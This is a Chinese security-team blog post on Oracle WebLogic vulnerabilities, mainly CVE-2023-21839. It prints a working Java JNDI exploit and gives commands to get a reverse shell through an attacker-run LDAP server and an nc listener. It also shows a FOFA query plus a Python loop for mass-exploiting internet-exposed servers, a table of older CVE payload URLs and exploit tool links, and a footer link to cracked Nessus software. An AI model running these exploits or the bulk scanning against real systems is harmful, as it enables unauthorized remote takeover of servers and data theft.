2023年5月14日23:40:04评论100 views字数 5412阅读18分2秒阅读模式

Weblogic

WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

接下来将介绍weblogic的一系列漏洞，并检验https://github.com/KimJun1010/WeblogicTool 该工具的可用性。

Weblogic漏洞集锦与工具分享

CVE-2023-21839（JNDI）

漏洞描述

Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

为了更好的理解这个漏洞，有必要先介绍一下相关的概念：

RMI: RMI英文全称为Remote Method Invocation，字面的意思就是远程方法调用，其实本质上是RPC服务的JAVA实现，底层实现是JRMP协议，TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。

CORBA: Common Object Request Broker Architecture（公共对象请求代理体系结构）是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL（interface definition language）描述连接到远程对象的接口，然后将其映射到制定的语言实现。

IIOP: CORBA对象之间交流的协议，传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。

那么什么是RMI-IIOP呢，以往程序员如果想要开发分布式系统服务，必须在RMI和CORBA/IIOP之间做选择，但是现在有了RMI-IIOP，稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象，这样就综合了RMI操作的便利性和IIOP的跨语言性的优势。

在weblogic中RMI-IIOP的实现模型如下：

影响版本

Weblogic 12.2.1.3.0Weblogic 12.2.1.4.0Weblogic 14.1.1.0.0

测试环境

vulhub项目（https://github.com/vulhub/）中的/weblogic/CVE-2023-21839/目录，用下面的命令下载并启动12.2.1.3版本的weblogic：

git clone https://github.com/vulhub/vulhub.gitcd vulhub//weblogic/CVE-2023-21839/docker-compose up -d

访问http://your-ip:7001/console，进入登录页面

漏洞复现

方法一：使用DXask88MA师傅的工具：https://github.com/DXask88MA/Weblogic-CVE-2023-21839

选择的sink点在weblogic.deployment.jms.ForeignOpaqueReference.class

具体POC为：

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Random;
public class CVE_2023_21839 {    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";    static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
    private static InitialContext getInitialContext(String url)throws NamingException    {        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }    public static void main(String args[]) throws Exception {        if(args.length <2){            System.out.println(HOW_TO_USE);            System.exit(0);        }        String t3Url = args[0];        String ldapUrl = args[1];        InitialContext c=getInitialContext("t3://"+t3Url);        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f,env);        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        remoteJNDIName.set(f,ldapUrl);        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";        try{            c.bind(bindName,f);            c.lookup(bindName);        }catch(Exception e){ }
    }}

结合ceye进行dnslog尝试：

java -jar Weblogic-CVE-2023-21839.jar 10.163.0.101:7001 ldap://weblogic.xxxxxxx.ceye.io

Weblogic漏洞集锦与工具分享

rce漏洞执行成功。

方法二：利用https://github.com/KimJun1010/WeblogicTool 工具

Weblogic漏洞集锦与工具分享

批量漏扫

fofa搜索语句：

app="WebLogic-Server" || app="Weblogic_interface_7001"

批量收集目标后，使用python执行即可：

os.system("java -jar Weblogic-CVE-2023-21839.jar %s ldap://%s.xxxx.ceye.io" % (target, target.split(":")[0]))

rce漏洞排着队就来了

Weblogic漏洞集锦与工具分享

反弹shell

在路上和到门口是两回事哈，介绍下怎么反弹shell，后面漏洞都是通用的。首先下载JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务，工具链接https://github.com/WhiteHSBG/JNDIExploit

Weblogic漏洞集锦与工具分享

运行语句：java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 服务器ip

Weblogic漏洞集锦与工具分享

接着在该服务器上进行端口监听 nc -lvp xxxx

java -jar Weblogic-CVE-2023-21839.jar目标 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口

执行后：

Weblogic漏洞集锦与工具分享

查看nc监听页面shell接收情况：

Weblogic漏洞集锦与工具分享

反弹shell成功。

隐侠要会做的事情：举一反三

weblogic历次爆出漏洞，都会让安全圈内异常兴奋。历次漏洞总结如下：

漏洞标题	影响范围	危害	利用工具
CVE-2022-21371 WebLogic Local File Inclusion 本地文件包含漏洞	WebLogic 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0	——	.//META-INF/MANIFEST.MF .//WEB-INF/web.xml .//WEB-INF/portlet.xml .//WEB-INF/weblogic.xml
CVE-2021-2394 Weblogic 二次反序列化漏洞	WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0	在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。	https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0
CVE-2021-2109 Weblogic LDAP 远程代码执行漏洞	WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0	实现远程代码执行	url/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)
CVE-2020-14756 Weblogic Server 远程代码执行漏洞	Weblogic 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0	利用weblogic coherence组件中的类，绕过了黑名单机制的检测，重新能够利用黑名单中的类，造成代码执行。
CVE-2020-2551（JRMP）	10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。	序列化对象可以任意构造，并没有进行安全检查	https://github.com/KimJun1010/WeblogicTool
CVE-2019-2725 Weblogic 反序列化远程代码执行漏洞	Weblogic 10.3.6 Weblogic 12.1.3	击者可以发送精心构造的恶意HTTP请求，在未授权的情况下远程执行命令。	https://github.com/TopScrew/CVE-2019-2725
CVE-2017-10271 Weblogic XMLDecoder 远程代码执行漏洞	Weblogic 10.3.6.0.0 Weblogic 12.1.3.0.0 Weblogic 12.2.1.0.0 Weblogic 12.2.1.2.0	Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。	http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType
CVE-2016-3510 WebLogic T3 反序列化漏洞	WebLogic 12.2.1.0 WebLogic 12.1.3.0 WebLogic 12.1.2.0 WebLogic 10.3.6.0	者在可以通过该漏洞实现远程命令执行。

所有漏洞详细介绍，及渗透工具均已保存入知识星球，请各位少侠按需取用。

Weblogic漏洞集锦与工具分享

团队简介

东方隐侠安全团队，一支专业的网络安全团队，将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识，提供一流网络安全服务，敬请关注！

点击上方蓝字关注“东方隐侠安全团队”；设为⭐️星标，江湖上好联系哟

左青龙
微信扫一扫

右白虎
微信扫一扫

Weblogic漏洞集锦与工具分享

Weblogic

CVE-2023-21839（JNDI）

漏洞描述

影响版本

测试环境

漏洞复现

批量漏扫

反弹shell

安卓渗透测试工具 Android-Vulnerability-Analysis

SQLmap渗透浅析

BurpSuite-Awesome-Tls指纹特征绕过插件|Bypass

工具 | BackDoorSim

【刻刀】便携加解密工具箱 - EScode

TsojanScan：一款BurpSuite漏洞探测Poc插件

ARL - 好用的基础资产扫描系统

Nuclei Paltform初体验~

OSTE - Web 日志分析器自动分析

Nessus 24年4月30日更新_windows 版Cracked（附下载）

发表评论

在线咨询

微信